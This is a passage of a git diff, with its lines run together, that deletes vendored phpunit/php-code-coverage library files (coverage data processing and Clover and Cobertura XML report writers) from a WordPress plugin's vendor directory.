$this->traits[$traitName]['executableBranches'] += $methodData['executableBranches']; - $this->traits[$traitName]['executedBranches'] += $methodData['executedBranches']; - $this->traits[$traitName]['executablePaths'] += $methodData['executablePaths']; - $this->traits[$traitName]['executedPaths'] += $methodData['executedPaths']; - - $this->numExecutableBranches += $methodData['executableBranches']; - $this->numExecutedBranches += $methodData['executedBranches']; - $this->numExecutablePaths += $methodData['executablePaths']; - $this->numExecutedPaths += $methodData['executedPaths']; - - foreach (range($method['startLine'], $method['endLine']) as $lineNumber) { - $this->codeUnitsByLine[$lineNumber] = [ - &$this->traits[$traitName], - &$this->traits[$traitName]['methods'][$methodName], - ]; - } - } - } - } - - private function processFunctions(array $functions): void - { - $link = $this->id() . '.html#'; - - foreach ($functions as $functionName => $function) { - $this->functions[$functionName] = [ - 'functionName' => $functionName, - 'namespace' => $function['namespace'], - 'signature' => $function['signature'], - 'startLine' => $function['startLine'], - 'endLine' => $function['endLine'], - 'executableLines' => 0, - 'executedLines' => 0, - 'executableBranches' => 0, - 'executedBranches' => 0, - 'executablePaths' => 0, - 'executedPaths' => 0, - 'ccn' => $function['ccn'], - 'coverage' => 0, - 'crap' => 0, - 'link' => $link . $function['startLine'], - ]; - - foreach (range($function['startLine'], $function['endLine']) as $lineNumber) { - $this->codeUnitsByLine[$lineNumber] = [&$this->functions[$functionName]]; - } - - if (isset($this->functionCoverageData[$functionName]['branches'])) { - $this->functions[$functionName]['executableBranches'] = count( - $this->functionCoverageData[$functionName]['branches'] - ); - - $this->functions[$functionName]['executedBranches'] = count( - array_filter( - $this->functionCoverageData[$functionName]['branches'], - static function (array $branch) - { - return (bool) $branch['hit']; - } - ) - ); - } - - if (isset($this->functionCoverageData[$functionName]['paths'])) { - $this->functions[$functionName]['executablePaths'] = count( - $this->functionCoverageData[$functionName]['paths'] - ); - - $this->functions[$functionName]['executedPaths'] = count( - array_filter( - $this->functionCoverageData[$functionName]['paths'], - static function (array $path) - { - return (bool) $path['hit']; - } - ) - ); - } - - $this->numExecutableBranches += $this->functions[$functionName]['executableBranches']; - $this->numExecutedBranches += $this->functions[$functionName]['executedBranches']; - $this->numExecutablePaths += $this->functions[$functionName]['executablePaths']; - $this->numExecutedPaths += $this->functions[$functionName]['executedPaths']; - } - } - - private function newMethod(string $className, string $methodName, array $method, string $link): array - { - $methodData = [ - 'methodName' => $methodName, - 'visibility' => $method['visibility'], - 'signature' => $method['signature'], - 'startLine' => $method['startLine'], - 'endLine' => $method['endLine'], - 'executableLines' => 0, - 'executedLines' => 0, - 'executableBranches' => 0, - 'executedBranches' => 0, - 'executablePaths' => 0, - 'executedPaths' => 0, - 'ccn' => $method['ccn'], - 'coverage' => 0, - 'crap' => 0, - 'link' => $link . $method['startLine'], - ]; - - $key = $className . '->' . $methodName; - - if (isset($this->functionCoverageData[$key]['branches'])) { - $methodData['executableBranches'] = count( - $this->functionCoverageData[$key]['branches'] - ); - - $methodData['executedBranches'] = count( - array_filter( - $this->functionCoverageData[$key]['branches'], - static function (array $branch) - { - return (bool) $branch['hit']; - } - ) - ); - } - - if (isset($this->functionCoverageData[$key]['paths'])) { - $methodData['executablePaths'] = count( - $this->functionCoverageData[$key]['paths'] - ); - - $methodData['executedPaths'] = count( - array_filter( - $this->functionCoverageData[$key]['paths'], - static function (array $path) - { - return (bool) $path['hit']; - } - ) - ); - } - - return $methodData; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/Iterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/Iterator.php deleted file mode 100644 index 0d1c7354..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Node/Iterator.php +++ /dev/null @@ -1,90 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Node; - -use function count; -use RecursiveIterator; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class Iterator implements RecursiveIterator -{ - /** - * @var int - */ - private $position; - - /** - * @var AbstractNode[] - */ - private $nodes; - - public function __construct(Directory $node) - { - $this->nodes = $node->children(); - } - - /** - * Rewinds the Iterator to the first element. - */ - public function rewind(): void - { - $this->position = 0; - } - - /** - * Checks if there is a current element after calls to rewind() or next(). - */ - public function valid(): bool - { - return $this->position < count($this->nodes); - } - - /** - * Returns the key of the current element. - */ - public function key(): int - { - return $this->position; - } - - /** - * Returns the current element. - */ - public function current(): ?AbstractNode - { - return $this->valid() ? $this->nodes[$this->position] : null; - } - - /** - * Moves forward to next element. - */ - public function next(): void - { - $this->position++; - } - - /** - * Returns the sub iterator for the current element. - */ - public function getChildren(): self - { - return new self($this->nodes[$this->position]); - } - - /** - * Checks whether the current element has children. - */ - public function hasChildren(): bool - { - return $this->nodes[$this->position] instanceof Directory; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/ProcessedCodeCoverageData.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/ProcessedCodeCoverageData.php deleted file mode 100644 index 1ed29ad5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/ProcessedCodeCoverageData.php +++ /dev/null @@ -1,255 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use function array_key_exists; -use function array_keys; -use function array_merge; -use function array_unique; -use function count; -use function is_array; -use function ksort; -use SebastianBergmann\CodeCoverage\Driver\Driver; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class ProcessedCodeCoverageData -{ - /** - * Line coverage data. - * An array of filenames, each having an array of linenumbers, each executable line having an array of testcase ids. - * - * @var array - */ - private $lineCoverage = []; - - /** - * Function coverage data. - * Maintains base format of raw data (@see https://xdebug.org/docs/code_coverage), but each 'hit' entry is an array - * of testcase ids. - * - * @var array - */ - private $functionCoverage = []; - - public function initializeUnseenData(RawCodeCoverageData $rawData): void - { - foreach ($rawData->lineCoverage() as $file => $lines) { - if (!isset($this->lineCoverage[$file])) { - $this->lineCoverage[$file] = []; - - foreach ($lines as $k => $v) { - $this->lineCoverage[$file][$k] = $v === Driver::LINE_NOT_EXECUTABLE ? null : []; - } - } - } - - foreach ($rawData->functionCoverage() as $file => $functions) { - foreach ($functions as $functionName => $functionData) { - if (isset($this->functionCoverage[$file][$functionName])) { - $this->initPreviouslySeenFunction($file, $functionName, $functionData); - } else { - $this->initPreviouslyUnseenFunction($file, $functionName, $functionData); - } - } - } - } - - public function markCodeAsExecutedByTestCase(string $testCaseId, RawCodeCoverageData $executedCode): void - { - foreach ($executedCode->lineCoverage() as $file => $lines) { - foreach ($lines as $k => $v) { - if ($v === Driver::LINE_EXECUTED) { - $this->lineCoverage[$file][$k][] = $testCaseId; - } - } - } - - foreach ($executedCode->functionCoverage() as $file => $functions) { - foreach ($functions as $functionName => $functionData) { - foreach ($functionData['branches'] as $branchId => $branchData) { - if ($branchData['hit'] === Driver::BRANCH_HIT) { - $this->functionCoverage[$file][$functionName]['branches'][$branchId]['hit'][] = $testCaseId; - } - } - - foreach ($functionData['paths'] as $pathId => $pathData) { - if ($pathData['hit'] === Driver::BRANCH_HIT) { - $this->functionCoverage[$file][$functionName]['paths'][$pathId]['hit'][] = $testCaseId; - } - } - } - } - } - - public function setLineCoverage(array $lineCoverage): void - { - $this->lineCoverage = $lineCoverage; - } - - public function lineCoverage(): array - { - ksort($this->lineCoverage); - - return $this->lineCoverage; - } - - public function setFunctionCoverage(array $functionCoverage): void - { - $this->functionCoverage = $functionCoverage; - } - - public function functionCoverage(): array - { - ksort($this->functionCoverage); - - return $this->functionCoverage; - } - - public function coveredFiles(): array - { - ksort($this->lineCoverage); - - return array_keys($this->lineCoverage); - } - - public function renameFile(string $oldFile, string $newFile): void - { - $this->lineCoverage[$newFile] = $this->lineCoverage[$oldFile]; - - if (isset($this->functionCoverage[$oldFile])) { - $this->functionCoverage[$newFile] = $this->functionCoverage[$oldFile]; - } - - unset($this->lineCoverage[$oldFile], $this->functionCoverage[$oldFile]); - } - - public function merge(self $newData): void - { - foreach ($newData->lineCoverage as $file => $lines) { - if (!isset($this->lineCoverage[$file])) { - $this->lineCoverage[$file] = $lines; - - continue; - } - - // we should compare the lines if any of two contains data - $compareLineNumbers = array_unique( - array_merge( - array_keys($this->lineCoverage[$file]), - array_keys($newData->lineCoverage[$file]) - ) - ); - - foreach ($compareLineNumbers as $line) { - $thatPriority = $this->priorityForLine($newData->lineCoverage[$file], $line); - $thisPriority = $this->priorityForLine($this->lineCoverage[$file], $line); - - if ($thatPriority > $thisPriority) { - $this->lineCoverage[$file][$line] = $newData->lineCoverage[$file][$line]; - } elseif ($thatPriority === $thisPriority && is_array($this->lineCoverage[$file][$line])) { - $this->lineCoverage[$file][$line] = array_unique( - array_merge($this->lineCoverage[$file][$line], $newData->lineCoverage[$file][$line]) - ); - } - } - } - - foreach ($newData->functionCoverage as $file => $functions) { - if (!isset($this->functionCoverage[$file])) { - $this->functionCoverage[$file] = $functions; - - continue; - } - - foreach ($functions as $functionName => $functionData) { - if (isset($this->functionCoverage[$file][$functionName])) { - $this->initPreviouslySeenFunction($file, $functionName, $functionData); - } else { - $this->initPreviouslyUnseenFunction($file, $functionName, $functionData); - } - - foreach ($functionData['branches'] as $branchId => $branchData) { - $this->functionCoverage[$file][$functionName]['branches'][$branchId]['hit'] = array_unique(array_merge($this->functionCoverage[$file][$functionName]['branches'][$branchId]['hit'], $branchData['hit'])); - } - - foreach ($functionData['paths'] as $pathId => $pathData) { - $this->functionCoverage[$file][$functionName]['paths'][$pathId]['hit'] = array_unique(array_merge($this->functionCoverage[$file][$functionName]['paths'][$pathId]['hit'], $pathData['hit'])); - } - } - } - } - - /** - * Determine the priority for a line. - * - * 1 = the line is not set - * 2 = the line has not been tested - * 3 = the line is dead code - * 4 = the line has been tested - * - * During a merge, a higher number is better. - */ - private function priorityForLine(array $data, int $line): int - { - if (!array_key_exists($line, $data)) { - return 1; - } - - if (is_array($data[$line]) && count($data[$line]) === 0) { - return 2; - } - - if ($data[$line] === null) { - return 3; - } - - return 4; - } - - /** - * For a function we have never seen before, copy all data over and simply init the 'hit' array. - */ - private function initPreviouslyUnseenFunction(string $file, string $functionName, array $functionData): void - { - $this->functionCoverage[$file][$functionName] = $functionData; - - foreach (array_keys($functionData['branches']) as $branchId) { - $this->functionCoverage[$file][$functionName]['branches'][$branchId]['hit'] = []; - } - - foreach (array_keys($functionData['paths']) as $pathId) { - $this->functionCoverage[$file][$functionName]['paths'][$pathId]['hit'] = []; - } - } - - /** - * For a function we have seen before, only copy over and init the 'hit' array for any unseen branches and paths. - * Techniques such as mocking and where the contents of a file are different vary during tests (e.g. compiling - * containers) mean that the functions inside a file cannot be relied upon to be static. - */ - private function initPreviouslySeenFunction(string $file, string $functionName, array $functionData): void - { - foreach ($functionData['branches'] as $branchId => $branchData) { - if (!isset($this->functionCoverage[$file][$functionName]['branches'][$branchId])) { - $this->functionCoverage[$file][$functionName]['branches'][$branchId] = $branchData; - $this->functionCoverage[$file][$functionName]['branches'][$branchId]['hit'] = []; - } - } - - foreach ($functionData['paths'] as $pathId => $pathData) { - if (!isset($this->functionCoverage[$file][$functionName]['paths'][$pathId])) { - $this->functionCoverage[$file][$functionName]['paths'][$pathId] = $pathData; - $this->functionCoverage[$file][$functionName]['paths'][$pathId]['hit'] = []; - } - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/RawCodeCoverageData.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/RawCodeCoverageData.php deleted file mode 100644 index 9cb20e73..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/RawCodeCoverageData.php +++ /dev/null @@ -1,274 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage; - -use function array_diff; -use function array_diff_key; -use function array_flip; -use function array_intersect; -use function array_intersect_key; -use function count; -use function explode; -use function file_get_contents; -use function in_array; -use function is_file; -use function range; -use function trim; -use SebastianBergmann\CodeCoverage\Driver\Driver; -use SebastianBergmann\CodeCoverage\StaticAnalysis\FileAnalyser; - -/** - * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage - */ -final class RawCodeCoverageData -{ - /** - * @var array> - */ - private static $emptyLineCache = []; - - /** - * @var array - * - * @see https://xdebug.org/docs/code_coverage for format - */ - private $lineCoverage; - - /** - * @var array - * - * @see https://xdebug.org/docs/code_coverage for format - */ - private $functionCoverage; - - public static function fromXdebugWithoutPathCoverage(array $rawCoverage): self - { - return new self($rawCoverage, []); - } - - public static function fromXdebugWithPathCoverage(array $rawCoverage): self - { - $lineCoverage = []; - $functionCoverage = []; - - foreach ($rawCoverage as $file => $fileCoverageData) { - $lineCoverage[$file] = $fileCoverageData['lines']; - $functionCoverage[$file] = $fileCoverageData['functions']; - } - - return new self($lineCoverage, $functionCoverage); - } - - public static function fromXdebugWithMixedCoverage(array $rawCoverage): self - { - $lineCoverage = []; - $functionCoverage = []; - - foreach ($rawCoverage as $file => $fileCoverageData) { - if (!isset($fileCoverageData['functions'])) { - // Current file does not have functions, so line coverage - // is stored in $fileCoverageData, not in $fileCoverageData['lines'] - $lineCoverage[$file] = $fileCoverageData; - - continue; - } - - $lineCoverage[$file] = $fileCoverageData['lines']; - $functionCoverage[$file] = $fileCoverageData['functions']; - } - - return new self($lineCoverage, $functionCoverage); - } - - public static function fromUncoveredFile(string $filename, FileAnalyser $analyser): self - { - $lineCoverage = []; - - foreach ($analyser->executableLinesIn($filename) as $line => $branch) { - $lineCoverage[$line] = Driver::LINE_NOT_EXECUTED; - } - - return new self([$filename => $lineCoverage], []); - } - - private function __construct(array $lineCoverage, array $functionCoverage) - { - $this->lineCoverage = $lineCoverage; - $this->functionCoverage = $functionCoverage; - - $this->skipEmptyLines(); - } - - public function clear(): void - { - $this->lineCoverage = $this->functionCoverage = []; - } - - public function lineCoverage(): array - { - return $this->lineCoverage; - } - - public function functionCoverage(): array - { - return $this->functionCoverage; - } - - public function removeCoverageDataForFile(string $filename): void - { - unset($this->lineCoverage[$filename], $this->functionCoverage[$filename]); - } - - /** - * @param int[] $lines - */ - public function keepLineCoverageDataOnlyForLines(string $filename, array $lines): void - { - if (!isset($this->lineCoverage[$filename])) { - return; - } - - $this->lineCoverage[$filename] = array_intersect_key( - $this->lineCoverage[$filename], - array_flip($lines) - ); - } - - /** - * @param int[] $linesToBranchMap - */ - public function markExecutableLineByBranch(string $filename, array $linesToBranchMap): void - { - if (!isset($this->lineCoverage[$filename])) { - return; - } - - $linesByBranch = []; - - foreach ($linesToBranchMap as $line => $branch) { - $linesByBranch[$branch][] = $line; - } - - foreach ($this->lineCoverage[$filename] as $line => $lineStatus) { - if (!isset($linesToBranchMap[$line])) { - continue; - } - - $branch = $linesToBranchMap[$line]; - - if (!isset($linesByBranch[$branch])) { - continue; - } - - foreach ($linesByBranch[$branch] as $lineInBranch) { - $this->lineCoverage[$filename][$lineInBranch] = $lineStatus; - } - - if (Driver::LINE_EXECUTED === $lineStatus) { - unset($linesByBranch[$branch]); - } - } - } - - /** - * @param int[] $lines - */ - public function keepFunctionCoverageDataOnlyForLines(string $filename, array $lines): void - { - if (!isset($this->functionCoverage[$filename])) { - return; - } - - foreach ($this->functionCoverage[$filename] as $functionName => $functionData) { - foreach ($functionData['branches'] as $branchId => $branch) { - if (count(array_diff(range($branch['line_start'], $branch['line_end']), $lines)) > 0) { - unset($this->functionCoverage[$filename][$functionName]['branches'][$branchId]); - - foreach ($functionData['paths'] as $pathId => $path) { - if (in_array($branchId, $path['path'], true)) { - unset($this->functionCoverage[$filename][$functionName]['paths'][$pathId]); - } - } - } - } - } - } - - /** - * @param int[] $lines - */ - public function removeCoverageDataForLines(string $filename, array $lines): void - { - if (empty($lines)) { - return; - } - - if (!isset($this->lineCoverage[$filename])) { - return; - } - - $this->lineCoverage[$filename] = array_diff_key( - $this->lineCoverage[$filename], - array_flip($lines) - ); - - if (isset($this->functionCoverage[$filename])) { - foreach ($this->functionCoverage[$filename] as $functionName => $functionData) { - foreach ($functionData['branches'] as $branchId => $branch) { - if (count(array_intersect($lines, range($branch['line_start'], $branch['line_end']))) > 0) { - unset($this->functionCoverage[$filename][$functionName]['branches'][$branchId]); - - foreach ($functionData['paths'] as $pathId => $path) { - if (in_array($branchId, $path['path'], true)) { - unset($this->functionCoverage[$filename][$functionName]['paths'][$pathId]); - } - } - } - } - } - } - } - - /** - * At the end of a file, the PHP interpreter always sees an implicit return. Where this occurs in a file that has - * e.g. a class definition, that line cannot be invoked from a test and results in confusing coverage. This engine - * implementation detail therefore needs to be masked which is done here by simply ensuring that all empty lines - * are skipped over for coverage purposes. - * - * @see https://github.com/sebastianbergmann/php-code-coverage/issues/799 - */ - private function skipEmptyLines(): void - { - foreach ($this->lineCoverage as $filename => $coverage) { - foreach ($this->getEmptyLinesForFile($filename) as $emptyLine) { - unset($this->lineCoverage[$filename][$emptyLine]); - } - } - } - - private function getEmptyLinesForFile(string $filename): array - { - if (!isset(self::$emptyLineCache[$filename])) { - self::$emptyLineCache[$filename] = []; - - if (is_file($filename)) { - $sourceLines = explode("\n", file_get_contents($filename)); - - foreach ($sourceLines as $line => $source) { - if (trim($source) === '') { - self::$emptyLineCache[$filename][] = ($line + 1); - } - } - } - } - - return self::$emptyLineCache[$filename]; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Clover.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Clover.php deleted file mode 100644 index d80ab4de..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Clover.php +++ /dev/null @@ -1,258 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report; - -use function count; -use function dirname; -use function file_put_contents; -use function is_string; -use function ksort; -use function max; -use function range; -use function strpos; -use function time; -use DOMDocument; -use SebastianBergmann\CodeCoverage\CodeCoverage; -use SebastianBergmann\CodeCoverage\Driver\WriteOperationFailedException; -use SebastianBergmann\CodeCoverage\Node\File; -use SebastianBergmann\CodeCoverage\Util\Filesystem; - -final class Clover -{ - /** - * @throws WriteOperationFailedException - */ - public function process(CodeCoverage $coverage, ?string $target = null, ?string $name = null): string - { - $time = (string) time(); - - $xmlDocument = new DOMDocument('1.0', 'UTF-8'); - $xmlDocument->formatOutput = true; - - $xmlCoverage = $xmlDocument->createElement('coverage'); - $xmlCoverage->setAttribute('generated', $time); - $xmlDocument->appendChild($xmlCoverage); - - $xmlProject = $xmlDocument->createElement('project'); - $xmlProject->setAttribute('timestamp', $time); - - if (is_string($name)) { - $xmlProject->setAttribute('name', $name); - } - - $xmlCoverage->appendChild($xmlProject); - - $packages = []; - $report = $coverage->getReport(); - - foreach ($report as $item) { - if (!$item instanceof File) { - continue; - } - - /* @var File $item */ - - $xmlFile = $xmlDocument->createElement('file'); - $xmlFile->setAttribute('name', $item->pathAsString()); - - $classes = $item->classesAndTraits(); - $coverageData = $item->lineCoverageData(); - $lines = []; - $namespace = 'global'; - - foreach ($classes as $className => $class) { - $classStatements = 0; - $coveredClassStatements = 0; - $coveredMethods = 0; - $classMethods = 0; - - foreach ($class['methods'] as $methodName => $method) { - if ($method['executableLines'] == 0) { - continue; - } - - $classMethods++; - $classStatements += $method['executableLines']; - $coveredClassStatements += $method['executedLines']; - - if ($method['coverage'] == 100) { - $coveredMethods++; - } - - $methodCount = 0; - - foreach (range($method['startLine'], $method['endLine']) as $line) { - if (isset($coverageData[$line]) && ($coverageData[$line] !== null)) { - $methodCount = max($methodCount, count($coverageData[$line])); - } - } - - $lines[$method['startLine']] = [ - 'ccn' => $method['ccn'], - 'count' => $methodCount, - 'crap' => $method['crap'], - 'type' => 'method', - 'visibility' => $method['visibility'], - 'name' => $methodName, - ]; - } - - if (!empty($class['package']['namespace'])) { - $namespace = $class['package']['namespace']; - } - - $xmlClass = $xmlDocument->createElement('class'); - $xmlClass->setAttribute('name', $className); - $xmlClass->setAttribute('namespace', $namespace); - - if (!empty($class['package']['fullPackage'])) { - $xmlClass->setAttribute( - 'fullPackage', - $class['package']['fullPackage'] - ); - } - - if (!empty($class['package']['category'])) { - $xmlClass->setAttribute( - 'category', - $class['package']['category'] - ); - } - - if (!empty($class['package']['package'])) { - $xmlClass->setAttribute( - 'package', - $class['package']['package'] - ); - } - - if (!empty($class['package']['subpackage'])) { - $xmlClass->setAttribute( - 'subpackage', - $class['package']['subpackage'] - ); - } - - $xmlFile->appendChild($xmlClass); - - $xmlMetrics = $xmlDocument->createElement('metrics'); - $xmlMetrics->setAttribute('complexity', (string) $class['ccn']); - $xmlMetrics->setAttribute('methods', (string) $classMethods); - $xmlMetrics->setAttribute('coveredmethods', (string) $coveredMethods); - $xmlMetrics->setAttribute('conditionals', (string) $class['executableBranches']); - $xmlMetrics->setAttribute('coveredconditionals', (string) $class['executedBranches']); - $xmlMetrics->setAttribute('statements', (string) $classStatements); - $xmlMetrics->setAttribute('coveredstatements', (string) $coveredClassStatements); - $xmlMetrics->setAttribute('elements', (string) ($classMethods + $classStatements + $class['executableBranches'])); - $xmlMetrics->setAttribute('coveredelements', (string) ($coveredMethods + $coveredClassStatements + $class['executedBranches'])); - $xmlClass->appendChild($xmlMetrics); - } - - foreach ($coverageData as $line => $data) { - if ($data === null || isset($lines[$line])) { - continue; - } - - $lines[$line] = [ - 'count' => count($data), 'type' => 'stmt', - ]; - } - - ksort($lines); - - foreach ($lines as $line => $data) { - $xmlLine = $xmlDocument->createElement('line'); - $xmlLine->setAttribute('num', (string) $line); - $xmlLine->setAttribute('type', $data['type']); - - if (isset($data['name'])) { - $xmlLine->setAttribute('name', $data['name']); - } - - if (isset($data['visibility'])) { - $xmlLine->setAttribute('visibility', $data['visibility']); - } - - if (isset($data['ccn'])) { - $xmlLine->setAttribute('complexity', (string) $data['ccn']); - } - - if (isset($data['crap'])) { - $xmlLine->setAttribute('crap', (string) $data['crap']); - } - - $xmlLine->setAttribute('count', (string) $data['count']); - $xmlFile->appendChild($xmlLine); - } - - $linesOfCode = $item->linesOfCode(); - - $xmlMetrics = $xmlDocument->createElement('metrics'); - $xmlMetrics->setAttribute('loc', (string) $linesOfCode['linesOfCode']); - $xmlMetrics->setAttribute('ncloc', (string) $linesOfCode['nonCommentLinesOfCode']); - $xmlMetrics->setAttribute('classes', (string) $item->numberOfClassesAndTraits()); - $xmlMetrics->setAttribute('methods', (string) $item->numberOfMethods()); - $xmlMetrics->setAttribute('coveredmethods', (string) $item->numberOfTestedMethods()); - $xmlMetrics->setAttribute('conditionals', (string) $item->numberOfExecutableBranches()); - $xmlMetrics->setAttribute('coveredconditionals', (string) $item->numberOfExecutedBranches()); - $xmlMetrics->setAttribute('statements', (string) $item->numberOfExecutableLines()); - $xmlMetrics->setAttribute('coveredstatements', (string) $item->numberOfExecutedLines()); - $xmlMetrics->setAttribute('elements', (string) ($item->numberOfMethods() + $item->numberOfExecutableLines() + $item->numberOfExecutableBranches())); - $xmlMetrics->setAttribute('coveredelements', (string) ($item->numberOfTestedMethods() + $item->numberOfExecutedLines() + $item->numberOfExecutedBranches())); - $xmlFile->appendChild($xmlMetrics); - - if ($namespace === 'global') { - $xmlProject->appendChild($xmlFile); - } else { - if (!isset($packages[$namespace])) { - $packages[$namespace] = $xmlDocument->createElement( - 'package' - ); - - $packages[$namespace]->setAttribute('name', $namespace); - $xmlProject->appendChild($packages[$namespace]); - } - - $packages[$namespace]->appendChild($xmlFile); - } - } - - $linesOfCode = $report->linesOfCode(); - - $xmlMetrics = $xmlDocument->createElement('metrics'); - $xmlMetrics->setAttribute('files', (string) count($report)); - $xmlMetrics->setAttribute('loc', (string) $linesOfCode['linesOfCode']); - $xmlMetrics->setAttribute('ncloc', (string) $linesOfCode['nonCommentLinesOfCode']); - $xmlMetrics->setAttribute('classes', (string) $report->numberOfClassesAndTraits()); - $xmlMetrics->setAttribute('methods', (string) $report->numberOfMethods()); - $xmlMetrics->setAttribute('coveredmethods', (string) $report->numberOfTestedMethods()); - $xmlMetrics->setAttribute('conditionals', (string) $report->numberOfExecutableBranches()); - $xmlMetrics->setAttribute('coveredconditionals', (string) $report->numberOfExecutedBranches()); - $xmlMetrics->setAttribute('statements', (string) $report->numberOfExecutableLines()); - $xmlMetrics->setAttribute('coveredstatements', (string) $report->numberOfExecutedLines()); - $xmlMetrics->setAttribute('elements', (string) ($report->numberOfMethods() + $report->numberOfExecutableLines() + $report->numberOfExecutableBranches())); - $xmlMetrics->setAttribute('coveredelements', (string) ($report->numberOfTestedMethods() + $report->numberOfExecutedLines() + $report->numberOfExecutedBranches())); - $xmlProject->appendChild($xmlMetrics); - - $buffer = $xmlDocument->saveXML(); - - if ($target !== null) { - if (!strpos($target, '://') !== false) { - Filesystem::createDirectory(dirname($target)); - } - - if (@file_put_contents($target, $buffer) === false) { - throw new WriteOperationFailedException($target); - } - } - - return $buffer; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Cobertura.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Cobertura.php deleted file mode 100644 index 138a31eb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-code-coverage/src/Report/Cobertura.php +++ /dev/null @@ -1,309 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeCoverage\Report; - -use function basename; -use function count; -use function dirname; -use function file_put_contents; -use function preg_match; -use function range; -use function str_replace; -use function strpos; -use function time; -use DOMImplementation; -use SebastianBergmann\CodeCoverage\CodeCoverage; -use SebastianBergmann\CodeCoverage\Driver\WriteOperationFailedException; -use SebastianBergmann\CodeCoverage\Node\File; -use SebastianBergmann\CodeCoverage\Util\Filesystem; - -final class Cobertura -{ - /** - * @throws WriteOperationFailedException - */ - public function process(CodeCoverage $coverage, ?string $target = null): string - { - $time = (string) time(); - - $report = $coverage->getReport(); - - $implementation = new DOMImplementation; - - $documentType = $implementation->createDocumentType( - 'coverage', - '', - 'http://cobertura.sourceforge.net/xml/coverage-04.dtd' - ); - - $document = $implementation->createDocument('', '', $documentType); - $document->xmlVersion = '1.0'; - $document->encoding = 'UTF-8'; - $document->formatOutput = true; - - $coverageElement = $document->createElement('coverage'); - - $linesValid = $report->numberOfExecutableLines(); - $linesCovered = $report->numberOfExecutedLines(); - $lineRate = $linesValid === 0 ? 0 : ($linesCovered / $linesValid); - $coverageElement->setAttribute('line-rate', (string) $lineRate); - - $branchesValid = $report->numberOfExecutableBranches(); - $branchesCovered = $report->numberOfExecutedBranches(); - $branchRate = $branchesValid === 0 ? 0 : ($branchesCovered / $branchesValid); - $coverageElement->setAttribute('branch-rate', (string) $branchRate); - - $coverageElement->setAttribute('lines-covered', (string) $report->numberOfExecutedLines()); - $coverageElement->setAttribute('lines-valid', (string) $report->numberOfExecutableLines()); - $coverageElement->setAttribute('branches-covered', (string) $report->numberOfExecutedBranches()); - $coverageElement->setAttribute('branches-valid', (string) $report->numberOfExecutableBranches()); - $coverageElement->setAttribute('complexity', ''); - $coverageElement->setAttribute('version', '0.4'); - $coverageElement->setAttribute('timestamp', $time); - - $document->appendChild($coverageElement); - - $sourcesElement = $document->createElement('sources'); - $coverageElement->appendChild($sourcesElement); - - $sourceElement = $document->createElement('source', $report->pathAsString()); - $sourcesElement->appendChild($sourceElement); - - $packagesElement = $document->createElement('packages'); - $coverageElement->appendChild($packagesElement); - - $complexity = 0; - - foreach ($report as $item) { - if (!$item instanceof File) { - continue; - } - - $packageElement = $document->createElement('package'); - $packageComplexity = 0; - - $packageElement->setAttribute('name', str_replace($report->pathAsString() . DIRECTORY_SEPARATOR, '', $item->pathAsString())); - - $linesValid = $item->numberOfExecutableLines(); - $linesCovered = $item->numberOfExecutedLines(); - $lineRate = $linesValid === 0 ? 0 : ($linesCovered / $linesValid); - - $packageElement->setAttribute('line-rate', (string) $lineRate); - - $branchesValid = $item->numberOfExecutableBranches(); - $branchesCovered = $item->numberOfExecutedBranches(); - $branchRate = $branchesValid === 0 ? 0 : ($branchesCovered / $branchesValid); - - $packageElement->setAttribute('branch-rate', (string) $branchRate); - - $packageElement->setAttribute('complexity', ''); - $packagesElement->appendChild($packageElement); - - $classesElement = $document->createElement('classes'); - - $packageElement->appendChild($classesElement); - - $classes = $item->classesAndTraits(); - $coverageData = $item->lineCoverageData(); - - foreach ($classes as $className => $class) { - $complexity += $class['ccn']; - $packageComplexity += $class['ccn']; - - if (!empty($class['package']['namespace'])) { - $className = $class['package']['namespace'] . '\\' . $className; - } - - $linesValid = $class['executableLines']; - $linesCovered = $class['executedLines']; - $lineRate = $linesValid === 0 ? 0 : ($linesCovered / $linesValid); - - $branchesValid = $class['executableBranches']; - $branchesCovered = $class['executedBranches']; - $branchRate = $branchesValid === 0 ? 0 : ($branchesCovered / $branchesValid); - - $classElement = $document->createElement('class'); - - $classElement->setAttribute('name', $className); - $classElement->setAttribute('filename', 